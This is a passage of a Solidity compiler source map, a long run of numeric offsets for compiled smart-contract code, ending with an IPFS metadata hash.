3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:1;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:356::-;4369:2;4351:21;;;4388:18;;;4381:30;4447:34;4442:2;4427:18;;4420:62;4514:2;4499:18;;4167:356::o;4528:127::-;4589:10;4584:3;4580:20;4577:1;4570:31;4620:4;4617:1;4610:15;4644:4;4641:1;4634:15;4660:416;4749:1;4786:5;4749:1;4800:270;4821:7;4811:8;4808:21;4800:270;;;4880:4;4876:1;4872:6;4868:17;4862:4;4859:27;4856:53;;;4889:18;;:::i;:::-;4939:7;4929:8;4925:22;4922:55;;;4959:16;;;;4922:55;5038:22;;;;4998:15;;;;4800:270;;;4804:3;4660:416;;;;;:::o;5081:806::-;5130:5;5160:8;5150:80;;-1:-1:-1;5201:1:1;5215:5;;5150:80;5249:4;5239:76;;-1:-1:-1;5286:1:1;5300:5;;5239:76;5331:4;5349:1;5344:59;;;;5417:1;5412:130;;;;5324:218;;5344:59;5374:1;5365:10;;5388:5;;;5412:130;5449:3;5439:8;5436:17;5433:43;;;5456:18;;:::i;:::-;-1:-1:-1;;5512:1:1;5498:16;;5527:5;;5324:218;;5626:2;5616:8;5613:16;5607:3;5601:4;5598:13;5594:36;5588:2;5578:8;5575:16;5570:2;5564:4;5561:12;5557:35;5554:77;5551:159;;;-1:-1:-1;5663:19:1;;;5695:5;;5551:159;5742:34;5767:8;5761:4;5742:34;:::i;:::-;5812:6;5808:1;5804:6;5800:19;5791:7;5788:32;5785:58;;;5823:18;;:::i;:::-;5861:20;;5081:806;-1:-1:-1;;;5081:806:1:o;5892:140::-;5950:5;5979:47;6020:4;6010:8;6006:19;6000:4;5979:47;:::i;6037:168::-;6110:9;;;6141;;6158:15;;;6152:22;;6138:37;6128:71;;6179:18;;:::i;6210:127::-;6271:10;6266:3;6262:20;6259:1;6252:31;6302:4;6299:1;6292:15;6326:4;6323:1;6316:15;6694:251;6764:6;6817:2;6805:9;6796:7;6792:23;6788:32;6785:52;;;6833:1;6830;6823:12;6785:52;6865:9;6859:16;6884:31;6909:5;6884:31;:::i;7871:306::-;7959:6;7967;7975;8028:2;8016:9;8007:7;8003:23;7999:32;7996:52;;;8044:1;8041;8034:12;7996:52;8073:9;8067:16;8057:26;;8123:2;8112:9;8108:18;8102:25;8092:35;;8167:2;8156:9;8152:18;8146:25;8136:35;;7871:306;;;;;:::o;10564:125::-;10629:9;;;10650:10;;;10647:36;;;10663:18;;:::i;11049:135::-;11088:3;11109:17;;;11106:43;;11129:18;;:::i;:::-;-1:-1:-1;11176:1:1;11165:13;;11049:135::o;11189:128::-;11256:9;;;11277:11;;;11274:37;;;11291:18;;:::i;11322:217::-;11362:1;11388;11378:132;;11432:10;11427:3;11423:20;11420:1;11413:31;11467:4;11464:1;11457:15;11495:4;11492:1;11485:15;11378:132;-1:-1:-1;11524:9:1;;11322:217::o;11946:980::-;12208:4;12256:3;12245:9;12241:19;12287:6;12276:9;12269:25;12313:2;12351:6;12346:2;12335:9;12331:18;12324:34;12394:3;12389:2;12378:9;12374:18;12367:31;12418:6;12453;12447:13;12484:6;12476;12469:22;12522:3;12511:9;12507:19;12500:26;;12561:2;12553:6;12549:15;12535:29;;12582:1;12592:195;12606:6;12603:1;12600:13;12592:195;;;12671:13;;-1:-1:-1;;;;;12667:39:1;12655:52;;12762:15;;;;12727:12;;;;12703:1;12621:9;12592:195;;;-1:-1:-1;;;;;;;12843:32:1;;;;12838:2;12823:18;;12816:60;-1:-1:-1;;;12907:3:1;12892:19;12885:35;12804:3;11946:980;-1:-1:-1;;;11946:980:1:o

ipfs://f5be32c7ed52c3469e02be4ad8eb5cff4b3f8829fcc13d2c4712337a5279792e